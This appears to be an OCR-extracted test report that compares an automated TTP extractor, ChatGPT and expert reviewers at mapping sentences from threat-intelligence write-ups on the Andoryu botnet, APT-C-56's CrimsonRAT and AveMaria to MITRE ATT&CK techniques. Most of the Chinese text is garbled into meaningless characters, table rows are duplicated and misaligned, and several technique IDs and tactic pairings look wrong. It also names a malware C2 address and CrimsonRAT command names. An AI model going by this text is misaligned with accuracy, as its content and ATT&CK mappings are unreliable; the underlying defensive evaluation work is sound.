'WERELER),
SNl 55, tid":
LRSS KGN

[0, 1]

B ERRXEXSH, Andoryu Botnet EFftETF
2022 £ 12 Ay, HE#HTIMREEN, EHMIE
BHARBEA PR LM E#{TEN, BEFASE
EZE DST_C2 il R TH5HI5RM, SFARZAS
AndoryuBot 2§59 CPU Z2H9807F :

[{'taid': 'TA0O002', 'tactic’: "H4T", 'tid":
'T1036.003', 'technique': 1SR IE"),
{'taid': 'TA0002', 'tactic': '#117", 'tid":
'T1064', 'technique': AR EEFENAHIT
XA}, {'taid': 'TA0002', 'tactic': 'HI{T", 'tid":
'T1027', 'technique': '%RA3'}, {'taid":
'TA0013', 'tactic': "im#gif(d)’, 'tid": 'T1018",
'technique': '{XA3EE")

[0,1,2,3]

Andoryu Botnet f{&1E 5 fR T CVE-2021-22205
4, ®&EI Lilin DVR RCE #1TH 8, REMAY
Payload 81T :

[{'taid': 'TAO002', ‘tactic’: AT, 'tid":
'T1105', 'technique': TfEXX S5,
{'taid': 'TA0002', 'tactic': '#117", 'tid":
'T1027', 'technique': '%RA3'}, {'taid":
‘TA0002', 'tactic': '#11T", 'tid": 'T1059',
'technique': '8 2175 EX '}, {'taid": 'TA0043',
'tactic': "EIFFRNM, 'tid": 'T1542",
'technique': 'BI#2ARS3 '}, {'taid': 'TA0001",
'tactic': '#J3afLIA0E)", 'tid': 'T1105',
'technique": IZFEXHEH, {'taid":
"TA0001', 'tactic": '#DigfLiA1a)", 'tid":
'T1105', 'technique': ‘T2 XS ')

0,1,2,3,4,5]

C&C:

[{'taid": 'TA0013', 'tactic': 'iTFEiAa)', 'tid':
'T1573', 'technique': '#ER 5"}

U]

Expert Review Result

FARIERIBIT:

'T1059', 'technique': '® <1750}

text tts ttps_pred_count | ttps_accept_idx
2023 & 2 BY), SRERMBSHEPOBBEIERAY | ['taid: 'TA0043', tactic': 'EITFFR M, tid": |1 I
ME—E2REKRiEBEEAFIH CVE-2021-22205iF | 'T1547.03', 'technique’: 1EXUS NI}

AEENEYG, S32RBIANZERTETEXMNER

TE=ER N

Andoryu Botnet SR {EiB#5BAT, WiTEFERETE | [{'taid": 'TA0001, 'tactic’: '¥I& A1), tid': | 1 0

RIS Andoryu Botnet HEI{XEFEAHITERIE | 'T1566', 'technique': 'TA1ER A3 ARSS 1]

CRIRY B R BT #IT/EREHE, ELRIAFIET%ER

BT MR ER <

BITNSERAMEREFESH, HEE— 1S | [{'taid': 'TA0002', ‘tactic': "H1T", 'tid": 1 0




HARRARBS XRFHEINE, STMAET TR
AR IR F AT R THE B AR

[{'taid": 'TA0002', 'tactic': '#117", 'tid":
'T1027', technique': '4&#3'}]

U]

{EH prectl REUGHIZREBR "/bin/bash": [{'taid': 'TAO004', ‘tactic': 'BRIRBAHH’, 'tid": [0]
'T1036.005', ‘technique': 'HRIRFHTZR )]
BRRNFHEPFELEFMEES, HAEBITIIE | [{'taid': 'TAC005, ‘tactic': 'aa < SIEH', 'tid": I
HATENZHEHIG 'T1059.001", technique': ‘BRI SV H Y]
%fEF MBI socks MGHTES, BMFEEETRE | [{'taid: 'TA0012', 'tactic': 'IMEE", 'tid": 0
mF: 'T1571.001", 'technique': 'MEZERZREHE
B, {'taid": 'TA0012', 'tactic': 'AM%
3%, 'tid": 'T1571.002', 'technique': 'F4&&{$
AEFMEE N}, {'taid": 'TA0012",
'tactic': 'IMIBIE", 'tid': 'T1571.003",
'technique’: 'MEEAEENEEFTL'Y,
{'taid": 'TA0013', 'tactic': JZF2iHa)", 'tid":
'T1105', 'technique': TfEXX S5,
{'taid": 'TA0013', 'tactic': JZF2iH[a)", 'tid":
'T1071', 'technique': '&p < 51ZH')]
RAT AP ZBIAER sockss {CH: [{'taid": 'TA0002', 'tactic': 'H14T", 'tid": [0]
'T1078.002', 'technique': 'M£& IR
SRS R B EIHAMA IEFZIRSES, TFERRS5E] | [{'taid': 'TA0013', ‘tactic’: "IEFRIAE), 'tid": I
Htuhtit = AR ZATIREY, DST_C2 = 'T1573', 'technique': '#25'}]
"172.86.123.20:1025",
BRI C2 TRIES. [{'taid": 'TA0013', 'tactic': 'iTFEiAa)', 'tid': i
'T1105', 'technique': e S5,
{'taid": 'TA0013', 'tactic': JZF2iH[a)", 'tid":
‘T1001", 'technique': 'EiBEMIZTTZE R GTUREE ]
AndoryuBot X#5Z# DDoS A%, BFNT: [{'taid': 'TA0048', ‘tactic': 'BZMV 3", 'tid": (1]
'T1498.001", technique': 'M&ZREBARL",
{'taid": 'TA0048", 'tactic': 'EMENIS3", 'tid":
'T1498.003', 'technique": "1E42ARSBE )]
BRI KEBE DT, Andoryu Botnet EEfIAT [{'taid': 'TA0002', ‘tactic': #1147, 'tid": 0
2022 F 12 B, HAE#TEFREIE, EFMATE | T1036.003', 'technique': BB,
BHRIGHEA DAY NGL E# TR, EFAEE | {'taid': 'TA0002, 'tactic': 17", 'tid":
E 2 DST_C2 it K T 3509%24, SETARAS 'T1064', 'technique': AR EEFENAHIT
AndoryuBot X9 CPU 22980 : {4}, {'taid': 'TA0002', 'tactic': 117", 'tid":
'T1027', 'technique': '%RA3'}, {'taid":
‘TA0013', 'tactic": 'imF2iAiE)’, 'tid": 'T1018",
'technique': '{XA3BEE")
Andoryu Botnet fIfE1E5Xf8 T CVE-2021-22205 | [{'taid": 'TA0002', 'tactic': "“H14T", ‘tid": i

4, ®&EI Lilin DVR RCE #1TH 8, REMAY
Payload 81T :

'T1105', 'technique': e S5,
{'taid': 'TA0002', 'tactic': '#117", 'tid":
'T1027', 'technique': '%RA3'}, {'taid":




‘TA0002', 'tactic’: '#117", 'tid": 'T1059',
'technique': '8 2175 EX '}, {'taid": 'TA0043',
'tactic': "EIFFRNM, 'tid": 'T1542",
'technique': 'BI#2ARS3'}, {'taid': 'TA0001",
'tactic': '#J3afLIA0E)", 'tid': 'T1105',
'technique': IZFEXHEH, {'taid":
"TA0001', 'tactic': '#J8a1LiA(E])", 'tid":
'T1105', 'technique': ‘T2 XS ')

C&C:

[{'taid": 'TA0013', 'tactic": "iZfiAla)', 'tid":

'T1573', 'technique': '#ER 5"}

Test Report 3 APT-C-56 ((EHRERSE) (AZE B E/a s T

URL:

https://mp.weixin.qq.com/s? _ biz=MzUyMjk4NzExMA==&mid=2247491963 &idx=1&sn=792
6f96c1319a8179770e7fc09bb 1 fee

TTPExtractor Infer Result

sent ttps entities ttps_pred_count | ttps_accept_idx
FIRAREBANEE X E#TIETER. [{'taid': 'TAO005', 'tactic': 'Fh#kize’, |0 1 [0]
'tid": 'T1036', ‘technique': 'f3")]
2.1 fhEE Ay [{'taid': 'TAO005', 'tactic': 'Fh#kize’, |0 1 [0]
'tid": 'T1036', ‘technique': 'f3")]
HBAOENEE—HBETE, 5ZFENE, |[{'taid: 'TA0002', tactic': '#4T", tid': |l 1 [0]
BAMRRNERXXET AR RS2 RN, |'71059.005', ‘technique': 'VB ']
—BRPHRZRET BEIRINEE, REREREHR
EERBAET.
HECEFF LT EN 2021 £ 7 B, BARS | [{'taid": 'TA0007', tactic': '&H', tid": |l 1 [0]
BHAHEMETEhET BIAE—ER, ERSFCiEFIBIX | 'T1124', 'technique’: 'R SR E RN
MRS XER S E X,
52{LIB7E ALLUSERSPROFILE Bl FHh3H | [{'taid': 'TA0005', 'tactic': 'Bhikie’, |0 4 [0,1,2,3]
Mdiaz HXFEF, MNEEXHRIEESEHHIE | 'tid': 'T1036', 'technique': 'fh2E",
HEENEEEHB AR, FILEHR APT- | {'taid": 'TA0005', 'tactic': 'BhfHME',
C-56 (EFRERE) FIMEPNFHEHHER | tid: 'T1027', 'technique': SREXHE]
AN, 5t exe FRIHITIFAE, UHEBRZS|IZEM |(E2'), {'taid': 'TA0005', 'tactic': '
BSER, &', 'tid': 'T1027.005', ‘technique': *
SHER T R EER AR BIR4HIE ), {'taid":
'TA0005', 'tactic': 'Bhflki%", 'tid":
'QT9003.001", 'technique': '&iFR 2
TE#NZEY
BRRREES PE 2R, RER#—HIERA | [{'taid: 'TA005', ‘tactic’: 'Bitpke, |0 1 (0]
BRERMIAYIE B XA EEE, BHE 'tid": 'T1036', 'technique’: '{3%'}]




worddcs.docx, SEFTFIXEhERIERE
AF.

FErE R T 2EE.ford AEEISIYE, W | [{'taid: 'TA0003', 'tactic': 'R L', 0 1 [0]

Ry, HiEBEmHNE. 'tid": 'T1547.001", 'technique': A&
Run #EBBE R

MR RAREEMART RAT, IR | [(taid: 'TA0011, 'tactic: 'B< 5124, | [ 1 (0]

%H, BEMKZEEZM C&C THHIET. 'tid": 'T1105', 'technique’: ' TE@EAE
LT

TSR INET RAT 51 11028 E, FireFox % | [{'taid': 'TAO005', ‘tactic': 'BA#HIWkE', [E{rzi;[vvare', 1 [0]

2%, REPIE—EHFAERN 'tid': 'T1036', 'technique': '{A%¢')] !

CrimsonRAT,

WEHE [{'taid': 'TAO007', 'tactic': '&H', 'tid: |0 1 [0]
'T1057', 'technique': '#T2 &K IN'}]

L& gif [{'taid": 'TA0010', ‘tactic’: '$URSTR, [[',rf']a'wafe" 1 0
'tid': 'T1041', 'technique': 'C2 @&k ol
BB R

WEHE [{'taid': 'TAO007', 'tactic': '&H', 'tid: |0 1 [0]
'T1057", 'technique': '#T2 &K IN'}]

BEAE [('taid': 'TAO003', 'tactic’: ',  |[ ! (0]
'tid": 'T1547.001", 'technique': A&
Run #EBBE X'

TExXH [{'taid': 'TA0011", 'tactic': '@y 54", | O 1 [0]
'tid": 'T1105', 'technique’: ' TE@EAE
LT

BEER [{'taid': 'TAO009', 'tactic': ‘K&, 'tid: |0 1 [0]
'T1113", technique': '&E &'}

EEEE [{'taid": 'TA0009', 'tactic': 'S4, 'tid": |0 1 [0]
'T1113", technique': ‘& &'}

FLER [{'taid': 'TAO009', 'tactic': '5R&", 'tid: |0 1 [0]
'T1113", technique': ‘& &'}

SEEE [{'taid': 'TAO009', 'tactic': '5R&", 'tid: |0 1 [0]
'T1113", technique': '&E &'}

MRS Sz [{'taid': 'TAO005', ‘tactic': ‘B, |0 1 0
'tid": 'T1070.004', 'technique': 'HIFRC
IR

HiERFEF [{'taid': 'TAO005', 'tactic': 'Fh#kize’, |0 1 [0]

'tid": 'T1070.004', 'technique': 'MIFRC
HIRTEY




RBAFPER [{'taid": 'TA0007', 'tactic’: '&H', 'tid": |0 1 [0]
'T1033', 'technique': 'R LR EHT A
PRI
BT R IBAIELIA R CrimsonRAT HIBFIX | [{'taid': 'TA0002', ‘tactic': "#4T", 'tid: |0 1 0]
= APT-C-56 (iEHBRERE) RIIEi&EED, LER | 'T1059.005', 'technique': 'VB &'}
RINEE, 5H11Z1&7H APT-C-56
(EBRERE) BEDIRS AR S LM
B
1.1 ERBEM [{'taid': 'TAO002', 'tactic': "#4T", 'tid: |0 1 0]
'T1059.005', 'technique': 'VB 7='}]
LR EMMBHARBTME EETHEE [{'taid': 'TA0011", 'tactic': '@y 54", | 0 1 [0]
RAT., 'tid": 'T1105', 'technique’: ' TR @A
L)
Expert Review Result
sent ttps entities ttps_pred_count | ttps_accept_idx
FIRAREBANEE X R TIEER. [{'taid': 'TAO005', 'tactic': 'Fh#kize’, |0 1 [0]
'tid': 'T1036', 'technique’: '3}
2.1 HEESH [{'taid': 'TA0005', ‘tactic': 'Bhukie’, |0 1 [0]
'tid': 'T1036', 'technique’: 'fh3E'}]
BAMENEE— R ET, SZFEIIR, |[{('taid: TA0002, ‘tactic: 'HfT', 'tid: | 1 [0]
BAVHROEEXEITANSAESRERE, |'71059.005', 'technique': 'VB &'}
—BRFGRZRET BRI, REREN
EERRKBEMIET.
W EFE LR )% 2021 £ 7 B, BAXS | [{'taid": 'TA0007', 'tactic': '&I', tid: | [ 1 0
BAMENRTRIE E18—3, ERITIEFIBHX | 'T1124', 'technique’: 'RETATEIREL'Y]
MRS SR TR XX,
B ALLUSERSPROFILE BR FHh3A; | [{'taid': 'TA0005', tactic': 'Byfitie’, | 4 [0,1,3]
Mdiaz HX1EF, MNEEXHRIEESEHMHIE | 'tid': 'T1036', 'technique': 'fh2E",
HEENEIEHB AR, FIRER APT- | {'taid": 'TA0005', 'tactic': 'BhfHME',
C-56 (EFRERE) FIMEPNFR/HEHHER | tid: 'T1027', 'technique: SRBE XM
AR, 3 exe FRFBITIFAR, LASRERESIZM (52", ('taid: 'TA0005', 'tactic': 'BA1H
BSER, &', 'tid": 'T1027.005', ‘technique': *
SR TREPEEWNZIRSSED, (taid':
'TA0005', 'tactic': 'BhfElki%", 'tid":
'QT9003.001", 'technique’: '&iFR 2
T AT
BHRRER PE 25, FER#—SIEMA | [{'taid" 'TAO005', ‘tactic: 'Bhuke, |0 1 [0]

ERPSRAYLE B XA AL EIE, BE
worddcs.docx, SEFTFIXEhERIERE
AP,

'tid": 'T1036', 'technique': '{h3%'}]




FETER TE2EH M. ford AIFEMXHF, @ | [{'taid': 'TA0003', ‘tactic': '#FAf.', I 1 I

Ry, HiEBEmHNE. 'tid": 'T1547.001", 'technique': A&
Run #EBBE R

MR RAREEMART RAT, IR | [(taid: 'TA0011, tactic: ‘B <5124, | [ 1 (0]

%H, BEMKZEZM C&C THHIET. 'tid": 'T1105', 'technique’: ' TE@EAE
L)

TSR NET RAT /51 11028 E, FireFox I | [{'taid': 'TAO005', ‘tactic': 'BA#HIWkE', [E{rzi;[vvare', 1 [0]

£, BBRIE—EHIPAERN 'tid": 'T1036', 'technique’: '{3%'}] !

CrimsonRAT,

WEHE [{'taid': 'TAO007', 'tactic': '&H', 'tid: |0 1 [0]
'T1057", 'technique': '#T2 &K IN'}]

L1 gif [{'taid'; 'TAO010', ‘tactic': 'SUIEISIR', [['T;]a'wafe" 1 [
'tid': 'T1041', 'technique': 'C2 @&k ol
RIS

WEHE [{'taid': 'TAO007', 'tactic': '&H', 'tid: |0 1 [0]
'T1057', 'technique': '#T2 &K IN'}]

i A=1=) [{'taid': 'TA0003', 'tactic': #5214, I 1 [0]
'tid": 'T1547.001", 'technique': A&
Run #EBBE R

THExH [{'taid': 'TA0011", ‘tactic': '@y 54", | 0 1 [0]
'tid": 'T1105', 'technique’: ' TE@EAE
L)

BEER [{'taid': 'TAO009', 'tactic': '5R&", 'tid: |0 1 [0]
'T1113", technique': '&E &'}

EEEE [{'taid': 'TAO009', 'tactic': ‘K&, 'tid: |0 1 i
'T1113", technique': '&E &'}

BIEERE [{'taid": 'TA0009', 'tactic': 'S4, 'tid": |0 1 [0]
'T1113", technique': ‘& &'}

SmEEE [{'taid': 'TAO009', 'tactic': '5R&", 'tid: |0 1 [0]
'T1113", technique': ‘& &'}

MRS Sz [{'taid': 'TA0005', ‘tactic’: 'Brki&’, |0 1 0
'tid": 'T1070.004', 'technique': 'MIFRC
IR

HIERFAF [{'taid': 'TAO005', 'tactic': 'Fh#kize’, |0 1 a
'tid": 'T1070.004', 'technique': 'MIFRC
IR

RBAFES [{'taid": 'TAO007", 'tactic’: '&HV', 'tid: | 1 [l

'T1033', 'technique': 'R LR T A
F&EIY




BT R EEIEMIAR CrimsonRAT $IBFIX | [{'taid': 'TA0002', 'tactic': 'H4T, 'tid': | [ 1 [0]
= APT-C-56 (iEPBEBE) BIIEiERD, IR | 'T1059.005', ‘technique': 'VB 7'
EUMOHER, SEN 2K APT-C-56
(GEBRERE) BEDTIRESHE S LB MAT
B
1.1 ZRBAEM [{'taid': 'TAO002', 'tactic': "#4T", 'tid: |0 1 [0]
'T1059.005', 'technique': 'VB %&'}]
R R B MR EE THREE [{'taid": 'TA0011", tactic': ‘&< 514!, | 0 1 (0]
RAT., 'tid": 'T1105', 'technique’: ' TEEAE
L

ChatGPT Infer Result

ERERE—E AP AERN
CrimsonRAT,

'T1027', 'technique': 'Obfuscated Files or Information'},
{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid":
'T1105', 'technique': 'Remote File Copy'}]

text tts ttps_pred_count | ttps_accept_idx

APT-C-56 [{'taid": 'TA0040', 'tactic': 'Impact’, 'tid": 'T1485", 2 [0, 1]

EIERE 'technique': 'Data Destruction'}, {'taid': 'TA0040', 'tactic":
'Impact’, 'tid": 'T1499', 'technique': 'Endpoint Denial of
Service'}]

H—EHWENERE. 28], &47 | [{'taid: 'TA0003', 'tactic': 'Collection’, 'tid": 'T1114/, 1 [0]

_ 'technique': 'Email Collection'}]

EWEIEEFRTET. Bh. =R,

B EREEEENESHER.

HFIBEIMEH TN R T SER [{'taid": 'TAO0O5', 'tactic': 'Collection’, 'tid": 'T1204", 1 [0]
'technique': 'User Execution'}]

FII B (b 28 12 B OB B ST Ay T Mk 58, | [{'taid': 'TAO0O3', 'tactic': 'Initial Access', 'tid": 'T1566", 1 [0]
'technique': 'Phishing'}]

i®5T Dropper $% CrimsonRAT 3333 | [{'taid': 'TA0003', 'tactic': 'Persistence’, 'tid": 'T1064', 1 [0]
'technique': 'Scripting'}]

AP #FEEE.

2137 ALLUSERSPROFILE HZTF [{'taid": 'TAO004', 'tactic': 'Execution’, 'tid"': 'T1027", 1 [0]

i 'technique': 'Obfuscated Files or Information'}]
fhEEEE Mdiaz 1HXTERF
AIIAEH APT-C-56 (GERBERE) FIFEME [{'taid": 'TA0040', 'tactic': 'Defense Evasion', 'tid": 1 [0]
- . et 'T1027', 'technique': 'Obfuscated Files or Information'}]

BT EHHERA, 3 exe FRHRT

172, UBRBRES|IZHNESER.

FRIHY PE {2 — .Net i Dropper [{'taid": 'TA0002', 'tactic': 'Initial Access', 'tid": 'T1574', 1 [0]
'technique': 'Hijack Execution Flow'}]

EF.

B E R T255 . ford HIEEX [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": 'T1203', 1 [0]

_ . 'technique': 'Exploitation for Client Execution'}]

&, MRAF, BRLIBEHXHE. BHE

ERBEXFNEEHNGERBRE.

B MR BRI R EZ6E5 517 RAT, [{'taid": 'TA0002', 'tactic': 'Command and Control', 'tid": |1 [0]

. . . N 'T1105', 'technique': 'Remote File Copy'}]

MRER, BINBEEMN C&C THH

1517,
[{'taid": 'TA0040', 'tactic': 'Command and Control’, 'tid": |2 [0, 1]




BHB5SHOMWT:
%
=5
WEHIE
geyT7tavs
L% gif
thy7umb
WEHIE
pry7ocl
a4 =)=}
puy7tsrt
THExt
doy7wf
BREHR
scy7rsz
R E It
fiy7lsz
EEHE
cdy7crgn

csy7crgn

csy7dcrgn
BLEERE
sty7ops
RESE
scyr7en
REEEER
diy7rs
SHAT
cny7ls

HRIBS {4
de

[{'taid": 'TA0003', 'tactic': 'Command and Control', 'tid":
'T1071", 'technique': 'Application Layer Protocol'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1059', 'technique':
'Command and Scripting Interpreter'}, {'taid': "'TA0002",
'tactic': 'Execution’, 'tid': 'T1106', 'technique': 'Execution
through API'}, {'taid": 'TA0002', 'tactic': 'Defense
Evasion', 'tid": 'T1055', 'technique': 'Process Injection'}]

[0,1,2,3]

LR ETRIEDR, SENZBREN
APT-C-56 (iZERERE) WHEDTIRESE
ZRE AT .

[{'taid": 'TA0040', 'tactic': 'Collection’, 'tid": 'T1114",
'technique': 'Email Collection'}]

U]

BERBEIEMMA R CrimsonRAT #
#fiXE APT-C-56 (EBRERE) MIIEE
&l

[{'taid": 'TAO003', 'tactic': 'Initial Access', 'tid': 'T1070’,
'technique': 'Indicator Removal on Host'}]

-

U]

LR R BAIHE AN B PR R T RE
RAT,

[{'taid": 'TA0002', 'tactic': 'Command and Control', 'tid":
'T1105', 'technique': 'Remote File Copy'}]

U]

EREO i A s E B SRR
RAT,

[{'taid": 'TA0040', 'tactic': 'Command and Control', 'tid":
'T1105', 'technique': 'Remote File Copy'}]

U]

ENEBZ & APT ARZEHEEHR. K
HEHRERE, EBENTERERE]
BomAR, REERRESSHNEN,

[{'taid": 'TA0040', 'tactic': 'Defense Evasion’, 'tid":
'T1027', 'technique': 'Obfuscated Files or Information'},
{'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid":
'T1001", 'technique': 'Data Obfuscation'}, {'taid":
'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1020',
'technique': 'Automated Collection'}, {'taid': 'TA0040',
'tactic': 'Defense Evasion', 'tid": 'T1070', 'technique":
'Indicator Removal on Host'}]

[0,1,2,3]




EEHTEH sidecopy AR—EHRBINE
EHRESN, ERHNEARBIRGE
BRERE AT T &S .

[{'taid": 'TA0028', 'tactic': 'Technical Information
Gathering', 'tid": 'T1595', 'technique': 'Active Scanning'},
{'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid":
'T1027', 'technique': 'Obfuscated Files or Information'},
{'taid": 'TA0029', 'tactic': 'Establish & Maintain
Infrastructure', 'tid': 'T15883', 'technique': 'Domain
Generation Algorithms'}, {'taid": 'TA0040', 'tactic':
‘Command and Control', 'tid": 'T1494', 'technique':
'Ingress Tool Transfer'}, {'taid': "'TA0040', 'tactic":
'Defense Evasion', 'tid": 'T1036', 'technique':
'Masquerading'}, {'taid': 'TA0040', 'tactic': 'Defense
Evasion', 'tid": 'T1107', 'technique': 'File Deletion'},
{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid":

'T1071", 'technique': 'Application Layer Protocol'}, {'taid":

'TA0040', 'tactic': 'Collection’, 'tid": 'T1114', 'technique':
'Email Collection'}]

[0,1,2,3,4,5,
6,7]

B PRI T AR G SRR A, 4HPE
RREhETHREE,

[{'taid": 'TA0040', 'tactic': 'Collection’, 'tid": 'T1114",
'technique': 'Email Collection'}]

U]

Expert Review Result

text tts ttps_pred_count | ttps_accept_idx

APT-C-56 [{'taid": 'TA0040', 'tactic': 'Impact’, 'tid": 'T1485', 2 0

EIRERE 'technique': 'Data Destruction'}, {'taid': 'TA0040', 'tactic":
'Impact’, 'tid": 'T1499', 'technique': 'Endpoint Denial of
Service'}]

H—EHWENENRRE. ARSI, 25 [{'taid": 'TAO00O3', 'tactic': 'Collection’, 'tid": 'T1114", 1 0

_ 'technique': 'Email Collection'}]

HAWEFRERRTET. £H. /. H

B EFERFSRENESHNERN,

HFIBEIMEH T INE T SER [{'taid": 'TAO00O5', 'tactic': 'Collection’, 'tid": 'T1204", 1 0
'technique': 'User Execution'}]

FII B (b 28 12 B OB B ST Ay T Mk 58, | [{'taid': 'TAO0O3', 'tactic': 'Initial Access', 'tid": 'T1566", 1 [0]
'technique': 'Phishing'}]

i&it Dropper B1{ CrimsonRAT 31 5$3 [{'taid": 'TAO00O3', 'tactic': 'Persistence’, 'tid": 'T1064', 1 0
'technique': 'Scripting'}]

RPFEEE,

%87 ALLUSERSPROFILE & T1H [{'taid": 'TAO004', 'tactic': 'Execution’, 'tid": 'T1027', 1 0
'technique': 'Obfuscated Files or Information'}]

%A Mdiaz 18XT2F

AIIAEH APT-C-56 (GERBERE) FIFEE [{'taid": 'TA0040', 'tactic': 'Defense Evasion', 'tid": 1 [0]

. . 'T1027', 'technique': 'Obfuscated Files or Information'}]

BRFHFEPERAR, 3 exe FRFHT

R, SRERES|IZHEESER,

BRI PE {42 —.Net i Dropper [{'taid": 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1574', 1 0
'technique': 'Hijack Execution Flow'}]

2.

B E R TE255 . ford HIEEIX [{'taid": 'TAO002', 'tactic': 'Execution’, 'tid": 'T12083', 1 0

_ . 'technique': 'Exploitation for Client Execution'}]

%, MR\, ERCIERHXEF. ZEE

EREXMNERHENGERBRE,

FEIS MR BRI R EZ6E5 517 RAT, [{'taid": 'TA0002', 'tactic': 'Command and Control', 'tid": 1 [0]

MRRE, BUMEERMN C&C THHA

iB1T.

'T1105', 'technique': 'Remote File Copy'}]




ERRERE — B P F(E [{'taid": 'TA0040', 'tactic': 'Command and Control', 'tid": 1}
i 'T1027', 'technique': 'Obfuscated Files or Information'},
CrimsonRAT, {'taid": 'TA0040', 'tactic': 'Command and Control', 'tid":
'T1105', 'technique': 'Remote File Copy'}]
BHBSSSMT: [{'taid": 'TA0003', 'tactic': 'Command and Control', 'tid": 1}
A 'T1071", 'technique': 'Application Layer Protocol'}, {'taid":
B 'TA0002', 'tactic': 'Execution’, 'tid": 'T1059', 'technique':
$REIED 'Command and Scripting Interpreter'}, {'taid': "'TA0002"',
L. 'tactic': 'Execution’, 'tid': 'T1106', 'technique': 'Execution
WEHIE through API'}, {'taid': 'TA0002', 'tactic': 'Defense
geyTtavs Evasion', 'tid": 'T1055', 'technique': 'Process Injection'}]
A% gif
thy7umb
WEsHE
pry7ocl
===t
puy7tsrt
TR
doy7wf
wE&R
scy7rsz
R R
fiy7lsz
EE58E
cdy7crgn
csy7crgn
csy7dcrgn
FIEEE
sty7ops
SHESE
scyr7en
RIHEEER
diy7rs
SEAL
cny7ls
RIS {4
de
HRETAIHE, SHRIZEIEHN [{'taid": 'TA0040', 'tactic': 'Collection’, 'tid": 'T1114', 1}
. 'technique': 'Email Collection'}]
APT-C-56 (EBRERE) REHTIRESR
SAEBEIT
BIEABEIEMARE CrimsonRAT ¥ | [{'taid: 'TA0003', 'tactic': 'Initial Access', 'tid": 'T1070", 1}
. . __ | 'technique': 'Indicator Removal on Host'}]
#fiXZ APT-C-56 (EBRERE) HIKEE
)|
R R MBI A BT MR EE TGS [{'taid": 'TA0002', 'tactic': 'Command and Control', 'tid": [0]
'T1105', 'technique': 'Remote File Copy'}]
RAT,
BRI S IR SRR [{'taid": 'TA0040', 'tactic': 'Command and Control', 'tid": 1}
'T1105', 'technique': 'Remote File Copy'}]
RAT,
ENE 2|8 APT AR 7 EHEEHE . BE [{'taid": 'TA0040', 'tactic': 'Defense Evasion', 'tid": 0

HNEHRERE, EBENTRERE]
BomAR, REERREESHNEN,

'T1027', 'technique': 'Obfuscated Files or Information'},
{'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1001",
'technique': 'Data Obfuscation'}, {'taid': 'TA0040',
'tactic': 'Defense Evasion', 'tid": 'T1020', 'technique":
'Automated Collection'}, {'taid': 'TA0040', 'tactic':




Removal on Host'}]

'Defense Evasion', 'tid": 'T1070', 'technique': 'Indicator

BRERE AT T &S .

EEHTEH sidecopy AR—HR{BINE
EHRESN, ERHNEARBIREGE

[{'taid": 'TA0028', 'tactic': 'Technical Information
Gathering', 'tid": 'T1595', 'technique': 'Active Scanning'},
{'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1027',
'technique': 'Obfuscated Files or Information'}, {'taid":
'TA0029', 'tactic': 'Establish & Maintain Infrastructure’,
'tid": 'T15883', 'technique': 'Domain Generation
Algorithms'}, {'taid": 'TA0040', 'tactic': 'Command and
Control', 'tid": 'T1494', 'technique': 'Ingress Tool
Transfer'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion’,
'tid": 'T1036', 'technique': '"Masquerading'}, {'taid":
'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1107',
'technique': 'File Deletion'}, {'taid': 'TA0040', 'tactic":
‘Command and Control', 'tid": 'T1071', 'technique":
'Application Layer Protocol'}, {'taid': 'TA0040', 'tactic':
'Collection’, 'tid": 'T1114', 'technique': 'Email Collection'}]

REEthETHRAEE,

B P T AR G SRR A, 4HPE

'technique': 'Email Collection'}]

[{'taid": 'TA0040', 'tactic': 'Collection’, 'tid": 'T1114",

Test Report 4 Dynamic Approaches seen in AveMaria's Distribution Strategy

URL: https://www.zscaler.com/blogs/security-research/dynamic-approaches-seen-avemarias-

distribution-strategy

TTPExtractor Infer Result

Kazakhstan Officials

'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]

sent ttps entities ttps_pred_count | ttps_accept_idx

AveMaria attacks are initiated via | [{'taid": 'TA0011', 'tactic': 'command-and- [['malware’, |1 [0]

phishing emails, once the dropped | control', 'tid": 'T1573.001', 'technique": 'AveMaria']]

payload infects the victim’s ‘SymmetricCryptography'}]

machine with the malware, it

establishes communication with

the attacker’s Command-and-

Control (C2) server on non-HTTP

protocol, after decrypting its C2

connection using RC4 algorithm.

The most recent variation in the [{'taid": 'TAO005', 'tactic': 'defense-evasion’, [['malware’, |1 [0]

AveMaria attack chain technique 'tid": 'T1140', 'technique': '‘AveMaria']]

leverages a custom downloader 'DeobfuscateDecodeFilesorinformation'}]

that decrypts a disguised payload

by converting the value data type

to another, known as type casting.

DECEMBER | .Vhd(x)_campaign [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]

In December, ThreatLabz [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]

researchers identified the 'tid": 'T1558.005', 'technique': 'Mark-of-the-

AveMaria .Vhd(x) campaign. WebBypass'}]

This campaign is defined by the [{'taid': 'TA0011, ‘tactic: ‘& 51540, tid: | 1 [0]

discovery of a new execution . -

technique that uses the Virtual 'T1105', 'technique': ' TREAE4')]

Hard Disk file format to drop the

malicious downloader payload in

one of the two formats onto the

victim’s machine.

.Vhd(x) campaign Targeting [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]




1 - AveMaria .vhd(x)_campaign [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
First Case Study attack chain 'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]
In this scenario, phishing emails [{'taid": 'TAO0O1', 'tactic': 'initial-access', 'tid': |[] 2 [0, 1]
impersonating the Russian 'T1566.001', 'technique':
government targeted Kazakhstan | 'SpearphishingAttachment'}, {"taid": "'TA0005',
officials with a malicious .vhdx file | 'tactic': 'defense-evasion’, 'tid"': 'T1553.005',
disguised as a fake meeting 'technique': 'Mark-of-the-WebBypass'}]
notice.
2 - Screenshot of a phishing email | [{'taid": 'TA0005', 'tactic': 'defense-evasion’, 0 1 [0]
targeting Kazakhstan officials with | 'tid": 'T1553.005', 'technique': 'Mark-of-the-
